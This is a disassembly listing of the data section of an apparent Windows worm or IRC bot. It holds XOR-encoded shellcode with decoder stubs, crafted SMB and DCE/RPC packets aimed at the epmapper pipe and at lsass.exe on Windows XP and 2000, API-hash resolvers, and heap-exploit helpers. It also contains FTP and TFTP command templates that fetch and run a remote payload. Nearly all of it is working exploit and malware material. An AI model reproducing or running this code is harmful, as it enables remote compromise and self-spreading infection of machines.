75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset unk_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset dword_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 